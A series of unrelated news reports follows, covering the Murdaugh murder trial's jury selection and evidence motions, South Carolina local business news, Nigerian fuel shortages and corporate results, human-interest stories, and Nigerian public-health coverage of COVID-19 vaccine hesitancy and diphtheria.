Throughout the day, Murdaugh alternately appeared to stare blankly through the courtroom, chewing on his glasses as his eyes wandered across the panels of jurors, and to engage with his attorneys, reviewing juror questionnaires with them. Returning from lunch in a black blazer and white shirt with no tie, he carried in a folder of documents.

The first time the judge described the murder charges against him, Murdaugh looked forward without reacting. When Newman repeated the description for later groups, Murdaugh shook his head slightly.

Newman first weeded out people from the group based on general exemptions like physical ailments, childcare duties or school. He then asked those remaining more specific questions about the case, like whether they had an opinion on Murdaughs guilt or innocence and whether they knew any of the cases potential witnesses  a list of more than 250 people.

The potential witnesses disclosed Jan. 23 include Murdaughs alleged accomplices such as distant cousin Curtis Smith and former banker Russell Laffitte; those he allegedly stole from; his family members, including his brothers and sister; his former law partners; and the attorneys whose lawsuits helped hasten his demise.

It also included a litany of law enforcement officers, including dozens from the State Law Enforcement Division as well as representatives of the S.C. Highway Patrol, sheriff's departments in at least three counties, the FBI, and even the U.S. Secret Service.

Seating a jury in the Murdaugh case was bound to be a challenge. With a deluge of news coverage and several cable TV documentaries detailing the grisly murders, a jury pool anywhere was liable to have been familiar with the case. In Colleton County, of the 117 people who were asked throughout the day, 97 said they were familiar with the killings.

But local connections posed an extra layer of challenges: One womans fiance was among the first officers at the murder scene. Another said she ran the post office that delivered Murdaughs mail. One worked for the fire rescue squad that responded to the shooting, and another works on the property where Murdaughs defense team is staying.

And while most people said they knew about the case from the news and social media, many offered that they'd gotten information by local word of mouth.

As Newman winnowed the jury list, Murdaugh's lawyers were busy preparing for the next phase of the case: pretrial motions.

The defense team on Jan. 23 filed three motions seeking to suppress testimony from three of the state's potential expert witnesses.

Two of those motions ask Newman to block prosecutors from introducing high-impact blood spatter as evidence against Murdaugh.

The reported presence of spatter stains on the white T-shirt Murdaugh wore on the night of slayings was thought to be a damning element of the state's case against the former attorney.

Such tiny blood stains can only result from being nearby as someone is shot and their blood is discharged into the air and onto nearby surfaces, experts say. If Murdaugh had spatter stains on his shirt, it would have meant he either fired the shots that killed his relatives or was standing by as someone else did.

But Murdaugh's attorneys have raised still-unanswered questions about the validity of the state's blood spatter analysis and the outside expert, retired Oklahoma police officer Tom Bevel, who created it.

Murdaugh's lawyers say Bevel's blood spatter report, as well as follow-up analysis by another expert, are bogus because Murdaugh's shirt tested negative for human blood. They say Bevel initially couldn't find spatter on Murdaugh's shirt before changing his mind weeks later after multiple meetings with SLED.

Murdaugh's lawyers have asked the judge to exclude Bevel as a witness in the case. They also now ask that the judge exclude another potential blood spatter witness, Kenneth Kinsey, a deputy with the Orangeburg County Sheriff's Department.

According to Murdaugh's team, prosecutors recognized the problems with Bevel's report and decided to bring in Kinsey to introduce the same findings.

The problem, they say, is that Kinsey relied on Bevel's report rather than conducting his own tests. And even after reviewing the materials, Kinsey wrote that he couldn't render an expert opinion on the presence of blood spatter, Murdaugh's lawyers said.

Kinsey's testimony "is not relevant, fails to assist the trier of fact, and will only result in confusion of the pertinent issues being presented to the jury," Murdaugh's lawyers wrote.

The Murdaugh teams third motion seeks to suppress a forensic analyst who opined that at least one of the firearms seized from the Moselle property was used in the slayings.

Thats significant because, until now, it was thought that state investigators had not recovered either of the weapons used in the slayings.

Paul Greer, the analyst in question, indicated that testing of the guns seized from the Murdaugh home indicated that one of them, a .300 Blackout rifle, could have been the weapon that killed Maggie Murdaugh.

Greer found that tool marks on the cartridges near her body matched the marks inside the gun.

But Murdaughs attorneys say such analysis is not accepted science and cant be used to determine the murder weapon with certainty.

If the judge won't outright exclude Greer's testimony, Murdaugh's lawyers want an evidentiary hearing to argue over the merits of his forensic analysis.

Newman is expected to consider and rule on this issue and other pre-trial motions after the jury is seated but before opening arguments begin, likely later this week.

The judge told the jury pool to be ready to return late Jan. 24 or the morning of Jan. 25, when the final panel will be seated.
WALTERBORO  From the food trucks, Jaheem Black couldn't even see the Colleton County Courthouse, where attorneys interviewed prospective jurors to decide the fate of Alex Murdaugh, a once prominent but now disbarred Lowcountry lawyer standing trial in the shooting deaths of his wife and son.

But Black wasn't there for South Carolina's so-called trial of the century anyway. He'd come for the fried dough.

"Everybody wanted an elephant ear," said Black, holding up a paper bag with warm, yeasty bread dusted with sugar and cinnamon to bring back to his co-workers.

Like a lot of other Walterboro residents, the staff at Williams Sea Food  a takeout joint about a mile away from historic downtown  had heard the food trucks were going to be on site during the trial. Officials invited vendors to feed the hordes they expected to descend on the small city of 5,500, despite some grumbling that cultivating a festival-like atmosphere was in bad taste.

But by the time the sun came out Jan. 23  a bright, 50-degree day that passes for winter in South Carolina  the crowd looked largely limited to a few dozen TV crews and reporters.

I'm surprised, Black said. I expected more.

To be sure, the city showed more hustle and bustle than usual, with the emphasis on hustle.

An outfit called Coastal Tax and Accounting advertised parking in its dirt lot, first asking for $40 a day. That price quickly dropped to $25 as potential customers put their cars in reverse.

A home goods and clothing store, Twig, opened two hours earlier than usual to offer free coffee, a loss-leader for the shop's carved soaps and picture frames.

Even a worker from IHOP showed up in front of the courthouse with breakfast for a blonde in a red jacket named Bullhorn Betty. "We don't usually deliver," said Verdette Fryer. "It's all for Mr. Murdaugh."

Murdaugh is charged with fatally shooting his wife Maggie, 52, and their son Paul, 22, on the familys Colleton County estate known as Moselle on June 7, 2021. His double-murder trial, which is expected to last three weeks, commenced Jan. 23.

Yet onlookers had not overwhelmed Walterboro, and the city functioned mostly as normal, with spaces still available in the free lots and residents able to travel freely downtown, taking cellphone videos of people taking cellphone videos.

Meanwhile, a steady trickle of local customers visited the idling food trucks.

Panna e Cioccolata. Mamma Mikki's. Shortys Smokin Butts. And, of course, Tracy's Elephant Ears.

I guess I'm gonna chalk this up to a good thing about the Murdaugh trial, but there's better lunch options for a while, said Hillary Jacobs, the owner of Lowcountry Nutrition. She had strolled up Walterboros three-block main street to check out the brisket chili and pulled pork sammies at the Live Oak Smokehouse.

Like some other locals, Jacobs thought the food trucks were a great idea for Walterboro  not only for a high-profile trial, but all the time.

Our food service is limited, said Adele Goodman, who is originally from South Africa but settled in Walterboro in the late 2010s. We already wait 30-45 minutes in the drive-thru.

Having the food trucks available regularly would start to make good on what Goodman sees as Walterboros wonderful potential.

Jacobs said the city is already headed in the right direction with its First Thursday tradition, similar to one in Charleston, when downtown businesses stay open late and food trucks roll in to serve up cheese steaks and tater tots.

As for the idea that those same food trucks at a double homicide trial made light of a serious event, Blaine Colson of Blazin Blaine's Deep Fried Goodies shook his head vigorously from within the dark cavern of his truck. The city asked us, he said.

Besides, according to Scott Grooms, the citys director of tourism and downtown development, the food trucks had already proved their value by 10 a.m., when reporters started entering the courthouse to watch jury selection.

They've had a good, steady business this morning, said Grooms, who strolled like an affable waiter among the media clusters, making sure everyone had internet, caffeine, and access to Taj Ma Stall, a high-end port-a-potty.

I'm sure online there will be some complaints. But it's one of those things where, you know, we didn't ask for this, but we prepared for it.
Goose Creek, SC (29445)

Today

Thunderstorms likely this evening. Then a chance of scattered thunderstorms overnight. Low 63F. Winds SSE at 5 to 10 mph. Chance of rain 90%..

Tonight

Thunderstorms likely this evening. Then a chance of scattered thunderstorms overnight. Low 63F. Winds SSE at 5 to 10 mph. Chance of rain 90%.
SPARTANBURG  Milos Tea Company plans to invest $130 million in establishing its first South Carolina operations in Spartanburg County by the end of 2024.

The 110,000-square-foot plant located on Park 290 at Interstate 26 in Moore will accommodate brewing and bottling operations for ready-to-drink beverages and will be the companys fourth plant in the U. S., according to a news release.

The expansion is expected to bring 103 new jobs to the area.

South Carolina and Spartanburg County in particular proved to be the right ecosystem to help us advance our people-first culture by offering an excellent standard of living for our associates and robust workforce development resources to drive economic prosperity not only for our people, but also for the region, company CEO Tricia Wallwork said.

Milos Tea Company is a family-owned beverage company based in Birmingham, Ala., that provides a variety of flavored teas and beverages to customers.

The company was founded in 1946.
Unilever Nigeria Plcs profit after tax for 2022 ballooned by nearly nine fold on the back of considerable growth in revenue, its unaudited financial statements issued on Tuesday showed, pushing its share price to its peak level since 7 October.

The companys share price had jumped 9.9 per cent to N12.2 at 13:19 WAT as buy orders from investors flooded Lagos Custom Street following the news, taking the stock to the top of the gainers table.

The local unit of British consumer goods giant Unilever Plc saw sales improve by 25.8 per cent to N88.7 billion, the chunk of that contributed by its home and personal care business and the rest by its food products division.

Finance income grew by almost four-fifths to N1.8 billion, wholly driven by notable improvement in interest on call deposits and bank accounts.

Also boosting revenue, other income expanded by 231.1 per cent to N123.7 million, thanks to higher transitional service agreement income from a pact Unilever entered into with Unilever Tea MSO Nigeria Limited after the disposal of its tea business to the latter in 2021.

The agreement will be in place for a period of 15 months, during which time Unilever would provide production and sales support to Unilever Tea MSO Nigeria Limited in exchange for a fee, the earnings report said.

Profit before tax rose to N9.9 billion from N1.9 billion one year prior, reflecting a rise of 425 per cent.

Profit after tax scaled up by 770.7 per cent to N6 billion, while profit for the period increased to N6 billion, rising by 75.8 per cent.

READ ALSO:

Profit margin, which measures how much of revenue has turned into profit, stood 6.8 per cent; it was 4.83 per cent a year earlier.

Unilever Overseas Holdings B.V. Holland owns a controlling stake of 57.8 per cent in Unilever Nigeria, while Unilever Overseas Holdings BV owns 18.2 per cent in the company.

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Nigerians have continued to lament the hardship caused by the scarcity of petroleum products across the country as businesses and households that depend on generators for power supply groan in darkness.

In recent weeks, motorists across Nigeria have had a hard time getting petroleum products just as commuters continue to lament the ripple effects of the scarcity as a result of skyrocketed transport fares in major cities.

Despite the governments repeated claims it had enough petroleum products in stock, the scarcity has persisted amid poor supply of electricity across the country.

The recent development is coming amid reports of a pump price increase by the federal government.

Last Thursday, reports claimed that the government quietly approved N185 as the new petrol pump price per litre. But the government, however, denied the claim.

The Minister of State for Petroleum Resources, Timipre Sylva, claimed that President Muhammadu Buhari did not approve any increase in the price of PMS or any other petroleum product.

There is no reason for President Muhammadu Buhari to renege on his earlier promise not to approve any increase in the price of petroleum motor spirit (PMS) at this time, Mr Sylva said.

But despite the governments position, PREMIUM TIMES found that Nigerians have continued to suffer scarcity of petroleum products across the country.

Price Hike

A survey of petrol stations in many parts of the country showed that the fuel prices ranged between N240 and N400 across Nigerian states, far higher than the erstwhile pump price.

A PREMIUM TIMES correspondent who visited petrol stations in Abuja Monday afternoon found that many filling stations were shut, while others were besieged by motorcyclists, tricycle owners, as well as private and commercial vehicle owners.

While many filling stations sold the product at prices ranging from N200 to N250, NNPC retail stations sold the product for N194.

The black market prices of fuel have equally gone through the roof with 10 litres of petrol selling for between N4000 and N6000 in Lugbe, Jabi, Kubwa and Gwagwalada, according to PREMIUM TIMES findings on Monday.

Traffic gridlocks appeared across some major parts of the capital city as many service lanes were closed due to the long queues sprawling from petrol stations.

Also, the crisis has led to increase in cost of transportation and commuters were left stranded at various bus stops on Monday as workers and students returned from work and school, respectively.

To be frank with you, this fuel issue is so pathetic, I have been in this queue since 3 p.m. to get fuel. This is 4:30 p.m. and still, it has not been my turn to get the product. As you can see there are a lot of queues here because they are selling for N194, Kevin Enoch, a taxi driver at the NNPC retail outlet CBD along Wuse Road, told PREMIUM TIMES.

Another taxi driver, Kayode Ademilekan, said This fuel issue has become a habit in the country, I have observed this and Im not sure our government is doing anything to address it. We are suffering in this country.

A Centre for Journalism Innovation and Development staffer, Bukumi Akanbi, told PREMIUM TIMES on Monday evening that she had to opt for a ride to get home.

Could you believe that I stood at the bus stop for almost two hours and still no car came along. I must say that public buses are scarce.

I ordered a ride to come take me home because I was so stressed. Where Im supposed to go with just N300, a ride will take me there for N2500. It doesnt matter anymore, she said.

An Abuja-based civil servant, who identified himself simply as Peter, said: At the beginning of each year, the government punishes us with fuel scarcity, thats what happened last year and it has continued again this year. I bought fuel at the rate of N5,000 to fuel my generator on Sunday. If I continue to buy N5,000 just for the generator, how much is my salary? I just hope we vote wisely this time around.

Another civil servant, George Abah, said: At this time, this is too unbearable. People are suffering and the election is next month. Recently, I was at one of the fuel stations in Wuse to get fuel but I couldnt get fuel, all I can tell you now is that the government is making life very unbearable for people.

A motorist, Ojo Adekunle, said he increased his fare for transportation because he had to resort to the black market to get petrol.

If you want to enter my car and I tell you how much I collect, if you dont like it, go down. Its black market I buy now, he said.

South-east

In Anambra, this newspaper found that some filling stations were dispensing petrol at between N350 and N400 per litre.

A car owner, Okoye Chinedu, told PREMIUM TIMES that the unending fuel scarcity in the country was not good for the economy.

For our countrys economy, this is not good at all and I must tell you that all the relevant authorities concerned have failed to come up with a lasting solution. I now have to pay through my nose to fuel my car buying one litre from N350 at the filling station.

I was in Nnewi early in January and I had to pay as high as N350 (per litre) to get fuel. This epileptic state of fuel availability in the country needs to be rectified, he said.

A businesswoman based in Nnewi, Ogechukwu Udeh, said she bought fuel for N500 per litre during the last Christmas festival but the product is now available for N300 or N350 per litre, depending on the location.

In Enugu, there were long queues at some of the major fuel stations visited across the city.

ChrisTee filling station, Deppo bus Stop by Police College, sold petrol to motorists at N320, while Eterna filling station, Ologo bus Stop by Coal Camp and Jedik filling station by Mayor market bus stop were also open to customers when visited. They both sold the product at between N310 and N320 per litre.

Port Harcourt

A Port Harcourt resident, Ebuka Ikeru, told PREMIUM TIMES that fuel prices have skyrocketed in the city in recent time.

Fuel was sold for N400 per litre at the end of December 2022. But now, it is sold for as high as N500 per litre with black market rates at N700 per litre. These things have been going like this and there are no signs that the price will reduce soon, he said.

Similar ordeals were experienced by residents of Ekiti, Cross River, Imo, Delta and numerous other cities across the country.

South-west

In Lagos, motorists continue to lament the scarcity of fuel as the few filling stations dispensing petrol are besieged by impatient and frustrated cab drivers, okada riders and young business owners desperate to get petrol for their daily operations.

The situation is even worst because there is no electricity and the heat has been very crazy, a resident of Ojodu, Tayo Ademola, told PREMIUM TIMES Tuesday afternoon.

In Ibadan, the capital of Oyo State, residents lamented the poor supply of the products even as they were desperate to buy at high prices.

A civil servant who declined to have her name in print told PREMIUM TIMES in a telephone chat Tuesday afternoon that the hardship has never been this severe. According to her, Nigerians face multiple challenges and its beyond shocking that this is happening in an election season.

At Oju-Ore, Ogun State, PREMIUM TIMES gathered that there is commotion in most filling station as motorists and small business owners scramble for fuel.

Lingering Crisis

On Friday, the Major Oil Marketers Association of Nigeria, (MOMAN), attributed the crisis to the high costs of vessels and inadequate trucks to deliver petroleum products from depots to filling stations across the country.

The marketers explained that these high logistics and exchange rate costs continue to put pressure on their operations with ripple effects on the pump price.

The Independent Petroleum Marketers Association Nigeria (IPMAN) also noted that the volume of products supplied to marketers at the loading points has dropped by about 50 per cent.

Speaking with PREMIUM on Monday, the group corporate communications officer of the NNPCL, GarbaDeen Muhammad, said that the company is doing everything possible to see that the queues subside.

We are doing everything that we can to see that this queue subsides (sic). We supply as much as we can, we recently visited the scene of an accident that derailed two or three trailers which are part of the problem that caused this shortage, he said.

He noted that several trucks are waiting to pass the Agaie-Bida road because of the accident.

We are pushing everything we can to get these trailers out of the way. Though we have been able to remove them when there is a fuel shortage, it takes time to bridge the gap.

And dont forget that NNPC now is a commercial company and we are struggling to make profits. One of our fundamental responsibilities is to make sure that there is a sufficient supply of fuel in the country and we will make sure there is. So distribution is another thing altogether, Mr Muhammad told PREMIUM TIMES.

Meanwhile, the president of IPMAN, Chinedu Chinedu Okoronkwo, in an interview with PREMIUM TIMES, said the situation is still unclear at the moment.

For us in IPMAN, we have not been communicated on what is going on. There is confusion, the situation is still unclear to us at the moment. As for the depot price, some people are talking about N172 in Lagos, he said.

READ ALSO:

Moving forward, he explained that the responsibility to ensure adequate fuel supply lies with the government and the NNPCL.

He said: Whatever the government has decided, we are ready to go with it. The fact is that they are the ones sitting on this because our profit margin has remained the same despite all the price increases.

Weve not been given any margin to correspond but what can we do? We are just believing that things will change one day.

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The board of directors of offshore support company Caverton has endorsed the appointment of Adesuntola Olusegun as the firms new Chief Financial Officer (CFO) beginning from 11 January, 2023, the company said in a statement posted on the Nigerian Exchanges website on Tuesday.

Caverton provides offshore services to the oil and gas industry, harbour and general marine operations, as well as marine and aviation logistics services to support companies within the sector.

Chesa Okoroafor, who held the office of the CFO before the appointment, has been reassigned to the position of Chief Internal Auditor with effect from 11 January.

Mr Adesuntola is a fellow of the Institute of Chartered Accountants of Nigeria (ICAN) and an Associate of Chartered Institute of Taxation of Nigeria, the document said.

He is also an Associate of the Nigerian Institute of Management, and a Finalist of Chartered Certified Accountants (UK).

He obtained a Bachelor of Science degree in Economics from Obafemi Awolowo University, Ile Ife in 1994 after which he began his career at Okeowo Oderinde & Co, Lagos, where he worked as an Accounts/Admin Officer between 1995 and 1998.

From 1998 to 2001, he was an audit senior at Olatunde Mustapha & Co (Chartered Accountants) in Lagos. Mr Adesuntola was an accountant at Transworld Security Systems Limited from 2001 to 2003 from which he joined The Punch Nigeria Limited in 2003 as audit supervisor.

Mr Adesuntola returned to Transworld Security Systems in 2006 to take the role of financial consultant, a post he held till 2008.

He was manager, internal audit/credit control at Livestock Feeds from 2008 to 2011.

He joined Caverton Helicopters in August 2011 as an internal auditor. He headed the internal control unit of Caverton Helicopters Limited before his latest appointment.

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It is not every day you see a nonagenarian walk down the aisle. So when 99-year-old Kenyan, Johana Butuk, decided to take a wife for the first time, it made headlines.

Over the weekend, Mr Butuk married his girlfriend, Alice Jemeli, 40, after 20 years of dating.

The lovebirds tied the knot in a colourful wedding ceremony.

Kenyan newspaper, The Standard, reports that when they first met in 2003, Jemeli (bride) was only 20 years old while Butuk (groom) was 69. Despite their age differences, their love blossomed as they dated.

The nonagenarian proposed to Jemeli in December 2022.

According to reports, it is Mr Butuks first marriage since he has never dated a woman in the 99 years he has lived.

His bride, however, has three children from a previous relationship and is happy Mr Butuk has accepted them.

Getting married at 99

Mr Butuk said there are valid reasons why he stayed single for the 99 years he has lived on earth.

In an interview, he explained that he did not marry his entire life because he always wanted peace of mind.

I was also busy with menial jobs, and when I decided to marry, all my friends were already grandfathers. But when I met my wife, I discovered that I had found what I wanted in life.

Alice talks less and helps navigate challenges in life. I have been late in many things, but today I am happy because I am a married man. I am confident that the happiness in my marriage will make me live longer, he said.

Although she was young when they first met, he said he loved her because of her humility.

READ ALSO:

I was first introduced to her by a female friend, and we connected well despite the age differences. I am happy because my wife is now mature and responsible, he added.

Love at first sight

The story is not different for his bride as she said she loved Mr Butuk from the moment she set her eyes on him.

I loved him when we first met in 2003. I had quit an abusive relationship, but when I met him through a woman, I loved him because he was humble and listened to me.

He was old, and I decided to be his helper because I would become a married woman like other women, Jemeli said.

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For staging a grand comeback into Nollywood with his role in Shanty Town after years of absence, Nollywood actor, Chidi Mokeme has been trending for days.

Aside from his sterling performance in Shanty Town, the actors recent disclosure that he has been battling an untreatable condition known as Bells Palsy has got him trending nonstop.

Bells Palsy is a condition that causes sudden weakness in the muscles on one side of the face. The flaw makes half of the face appear to hang.

Smiles are one-sided, and the eye on the affected side resists closing. In most cases, the weakness is temporary and significantly improves over weeks.

In an interview with Channels TV on the programme, Rubbin Minds, Mr Mokeme, who clocked 50 in March 2022, announced that the illness struck him when he was on a promotional tour for the 2016 military movie, 76.

According to him, as the cast and crew of 76 were preparing to go on the trip to the UK for the British International Film Festival, he came down with the condition.

It was something that the doctors said was incurable because they didnt know what caused it; they didnt know how to treat it. So, as an actor, if you come down with something that affects your face, you can imagine what I must have been going through at that time.

I thought it was something I could move around with, I tried to come for the Lagos premiere of 76 at the time, but the attention was focused on the face rather than the premiere, and then I knew it was not something that I could work with. I will take time off to try and sort out that problem that needs my face to be in top shape, the actor added.

He, however, said that while he sought a solution to his condition, he focused his attention on his other businesses.

Surviving Bells Palsy

Despite being forced to stay away from his passion, acting, Mr Mokeme, who lost his sister and his cousin in 2022, said that he opted to remain strong and positive.

Fortunately for me, I consider myself someone who has always been mentally strong. Im a self-proclaimed life magician. Im a student of life.

I take life in my stride. So I just knew that all I had to do was focus on God, who has been the one doing everything. Even we are alive because God is with us and his hands are upon us. So I kept my focus on God, the multilinguist said.

Staying relevant

Mr Mokeme, who returned to Nollywood in 2022 in The Therapist, also talked about staying relevant and how he has managed to pull it off.

In his words, acting is his job, and it is all he has ever done. As a result, he takes it seriously.

I think its just taking my job seriously, thats it. I take this as a job. This is a job. this is all Ive done all my life. Its the only thing Ive done; Ive never really gone out and worked in the office or anyones office apart from mine. So I take my job seriously. When I wake up, thats it, he added.

Chidi Mokeme

The actor, who speaks Yoruba, Igbo and Hausa languages fluently, was the host of the Gulder Ultimate Search Reality show.

In 2012, he married his wife, Jean Olumba Mokeme, a Nigerian, born and raised in the US.

He played Scar, a fierce personality in the rave-of-the-moment TV series, Shanty Town.

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Despite Abuja, the Nigerian capital, being one the epicentres of coronavirus in the country, less than 20 per cent of its population are vaccinated.

Abuja, Nigerias Federal Capital Territory (FCT) became one of the nations epicentres of the coronavirus pandemic soon after the index case in the country was reported in February 2020.

To curtail the spread of the then-novel virus, President Muhammadu Buhari in March of the same year announced the first round of a two-week lockdown in Lagos, Ogun and the FCT.

The lockdown was later extended to other states and the period of lockdown was similarly extended, paralysing socio-economic and political activities nationwide.

To further stem the tide of the pandemic, the government joined the rest of the world to adopt a massive vaccination. Nigeria commenced the exercise on 5 March 2021, having received an initial delivery of four million doses of the Oxford-AstraZeneca vaccines from COVAX, an initiative aimed at ensuring equitable distribution of vaccines globally.

Although there were reports of scepticism at the onset of vaccination, so far, about 64 million eligible persons in Nigeria have completed their doses of the COVID-19 vaccines.

However, almost two years after the vaccination campaign launch, some residents of Abuja are still sceptical about taking the vaccines.

Vaccination in FCT

Data published by the National Primary Health Care Development Agency (NPHCDA) shows that apart from the 67 million people who are fully vaccinated in Nigeria, about 12 million people, representing 11 per cent of the targeted population, are also partially vaccinated against the virus.

The FCT, with an estimated population of over six million, has fully vaccinated almost 800,000 persons (13 per cent) against the virus while about 200,000 persons are partially vaccinated.

Some of the millions of Abuja residents yet to be vaccinated spoke with PREMIUM TIMES about their reasons for not getting the free vaccines. While some denied the existence of the virus, others expressed doubts about the efficacy of the vaccines.

The FCT reported its first COVID-19 case on 21 March 2020, about a month after Nigeria recorded its index case in an Italian traveller. So far, over 29,000 confirmed cases have been reported in FCT while 249 people have died from the virus in the Nigerian capital.

According to data published by the Nigeria Centre for Disease Control (NCDC), the majority of the confirmed cases have been successfully treated and discharged while 12 persons were on admission.

Virus non-existent!!!

In the face of over 600 million COVID-19 cases recorded globally and about 266,000 cases in Nigeria, some Abuja residents still doubt the virus exists.

Ebeere Nwosu, a resident of Dape, told PREMIUM TIMES that she believes reported COVID-19 cases are lies made up by the government.

Everyone is talking about COVID-19 and the need to take the vaccines, but why are people not dying as claimed by the government? I am yet to see anyone sick or die from the COVID-19 virus, she said.

Ms Nwosu said she would only be convinced the virus exists in Nigeria when she witnesses a real case and not data released by governments.

A resident of Dei-Dei, who identified simply as Tayo, said he believes the virus exists but not in Nigeria. I agree that the virus exists in China and other countries, but COVID-19 is not in the Africa region, he said.

Similarly, Asmau Shehu, a resident of Dutse suburb of Abuja, said she believes the virus was made up by the Nigerian government to get aid from foreign organisations.

Ms Shehu said the government is benefitting from these lies, thats why they are spreading the narrative that COVID-19 exists. Why would I take a vaccine for a virus that doesnt exist?

Mistrust, misinformation

Some of the residents who spoke with PREMIUM TIMES identified mistrust in the countrys governance system as a major reason for boycotting the COVID-19 vaccines.

A trader at the popular Wuse market, identified as Alhaji Yusuf, said he would not take the vaccines because he does not trust its content.

I am not sure what it contains and you know this is Nigeria. Someone somewhere might have swapped the original vaccines to sell them and replace them with fake ones. I dont want to die now, he said.

A woman simply identified as Ebube residing in Kubwa said she would not take the vaccines because I do not want to develop a magnetic skin.

Ms Ebube said she heard that the vaccines got people cloned or magnetic after a period of time, one of the false claims about COVID-19 vaccines.

Victoria Ajayi, a resident of Gwarimpa, said she did not trust the effectiveness of the vaccine against the killer virus.

Is the vaccine effective? Was it stored at the recommended temperature? Is there a probability of contracting the virus even after vaccination? This and many more unanswered questions are why I cannot take the vaccines, she said.

She also raised concerns over the fast production of the COVID-19 vaccines, noting that vaccines usually take many years to produce.

Indeed, vaccines typically take at least a decade to develop, test and manufacture, according to scientists. In the US for example, vaccine development undergoes a specific set of steps that include exploratory phases, pre-clinical trials, new drug application, four phases of vaccine trials, and thorough vetting from the US Centres of Disease Control and Prevention and the Food and Drug Administration.

All of these processes combined could take multiple years, and even then, it might not be as effective as hoped.

However, the Pfizer-BioNTech and the Moderna COVID-19 vaccines were developed at breakneck speed in about 12 months to become the fastest ever in human history. This significant breakthrough raised concerns about the effectiveness of the vaccines.

Researchers, however, said the only difference between the COVID-19 vaccines and their predecessors is the use of the genetic material mRNA which is easy to make in a laboratory.

Religious belief, other factors

We were warned that the COVID-19 vaccine is a means to put the 666 mark on our bodies so I can never take the vaccines, Gloria, a resident of Karmo, said.

Ms Gloria said, no matter what the consequences or threat of not accepting the vaccines are, I will not take it.

Emmanuel Victor, a resident of Life Camp area of Abuja, said he was denied a job because of his refusal to accept jabs of the vaccines. Mr Victor said he refused to take the vaccine because his religious leader warned them against it.

I passed every stage of the job interview but I forfeited the job because a major requirement was to get vaccinated against COVID-19 and I cannot do that, he said.

Abdullahi Isa, a security guard at Wuse, said although he was aware of a nearby COVID-19 vaccination centre, he intentionally declined to take the vaccine.

I know of some people around this area that took the vaccine and became too weak to even leave their houses, he said.

The Acting Executive Secretary of FCT Primary Health Care Board, Isah Vatsa, said the FCTs aim was to ensure over 80 per cent of the residents are fully vaccinated against the virus.

Mr Vatsa in an interview with PREMIUM TIMES acknowledged that although many residents were accepting the vaccines, some were still sceptical due to spread of false information.

He said people were getting vaccinated against COVID-19 everyday because they understand the benefits of vaccination for them and their loved ones.

I can tell you that about 1.7 million doses of vaccines have been administered in the FCT and approximately 850,000 persons have been fully vaccinated. This is a very encouraging figure given the rate of misconception in the city, he said.

Mr Vasta said the misconceptions were discouraging many persons from taking the vaccines.

At the peak of the pandemic, most people including myself were praying the world develops vaccines and now the vaccine is available with us, yet some people are running away from it, he said.

He said there was an ongoing community dialogue and sensitisation through different means and languages to spread accurate information about COVID-19 and its vaccines.

Vaccine hesitancy

Various health experts have said the misconceptions and mistrust about the COVID-19 pandemic and vaccine hesitancy are majorly fuelled by previous experiences on vaccination in the country, coupled with inadequate enlightenment campaigns.

Vaccine hesitancy, a reluctance or refusal to be immunised, was named by the World Health Organisation as one of the top 10 threats to global health in 2019.

A survey carried out in 2021 by a research firm, SBM Intel, showed that only 39.9 per cent of Nigerians were willing to take the vaccines. While 35.9 per cent of the respondents said they would not take the vaccine, 24.1 per cent were unsure of their position.

Like other vaccines, there are mistrust issues associated with the COVID-19 vaccine. In interviews with some respondents who are opposed to the vaccine, we filtered a number of misconceptions about the vaccine. Some respondents held that it is a religious war to contaminate the children of God with evil substances, the research firm said.

The survey indicated that some people believed the vaccine was a tool to depopulate Nigeria, while others expressed concern about the effectiveness ratio and the side effects it might have. Some other persons were not completely opposed to the vaccine but were more concerned with the thoughts of being used as Guinea pigs for drug trials.

The survey also found that nearly a fifth of Nigerians still did not believe COVID-19 is real.

The Executive Director of Nigerias immunisation agency, Faisal Shuaib, had earlier expressed concerns over vaccine hesitancy caused by misinformation which leads to doubt about the efficacy of the vaccine.

Mr Shuaib said all vaccines, including COVID-19 vaccines, are manufactured under strict compliance with WHO guidelines. Therefore, COVID-19 vaccines do not contain any harmful substance, or microchip and do not alter human genetic information.

He said the COVID-19 vaccines are effective and would trigger an immune response that will protect humans against the virus if encountered.

To address vaccine hesitancy amongst other factors threatening response to the pandemic, Mr Shuaib said the agency is working with religious and traditional leaders and other stakeholders to improve vaccine uptake.

He said state governors are also mobilising traditional and religious leaders to give out correct information about vaccination generally.

So all of the misinformation and disinformation, you know, that are out there, we have traditional and religious leaders actually countering them.

Halting new variants

As the world grapples with the emergence of new COVID-19 variants which have led to more cases and deaths in some countries, health experts have warned that the world must be fully vaccinated against the virus to halt further spread.

The latest variant XBB.1.5, a descendant of Omicron, is said to be the most transmissible strain of COVID-19 because of the mutations it contains, which allow it to adhere to cells and replicate easily.

The variant, which accounted for 44.1 per cent of COVID-19 cases in the United States in the past week, has so far spread to 28 countries, according to data from the WHO.

Although the new variant has not been detected in Nigeria, the NCDC said it is monitoring the trends in China, the United States of America, the United Kingdom, South Africa, India, and other countries with a high volume of traffic to and from Nigeria.

The NCDC also said the most important action for Nigerians is to get vaccinated against COVID-19 virus as severe disease, admissions, and deaths disproportionately affect the unvaccinated and those with established risk factors.

(This report was produced with the support of the Centre for Democracy and Development).

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Nigeria has so far recorded a total of 123 Diphtheria infections and 38 deaths across four states of the federation as of 22 January.

According to the latest data by the Nigeria Centre for Disease Control (NCDC), Kano State recorded the highest with 100 confirmed infections and 32 deaths, followed by Yobe with 17 infections and three deaths.

The NCDC Director General, Ifedayo Adetifa, who was represented by the Director of Special Duties, Priscillia Ibekwe, made the disclosure Monday at the ministerial briefing organised by the Federal Ministry of Health in Abuja.

Ms Ibekwe noted that Lagos State also reported five cases with three deaths while Osun recorded a single infection with no fatality.

NCDC response

The director noted that NCDC is supporting states by providing antitoxins for the treatment of confirmed cases and that with the support of partners, it had organised a workshop for laboratory scientists in states to increase diagnostic capacity for the disease.

She added that diphtheria is a vaccine-preventable disease, urging Nigerians to ensure that their children are fully vaccinated against the disease with the prescribed three doses of the pentavalent vaccine.

According to NCDC, diphtheria is a serious bacterial infection caused by the bacterium called Corynebacterium species that affects the nose, throat and sometimes, the skin of an individual.

The symptoms of diphtheria include fever, runny nose, sore throat, cough, red eyes (conjunctivitis) and neck swelling. In severe cases, NCDC said that a thick grey or white patch appears on the tonsils and, or at the back of the throat associated with difficulty in breathing.

The Guardian also reported that Ms Ibekwe said the NCDC is now monitoring the situation of an unknown deadly flu in China and increasing genomic sequence sampling.

Also speaking, the Minister of Health, Osagie Ehanire, said the World Health Organisation (WHO) had not made any pronouncement on such an outbreak, adding that the nations port health and other agencies were carrying out due diligence on arrivals in the country.

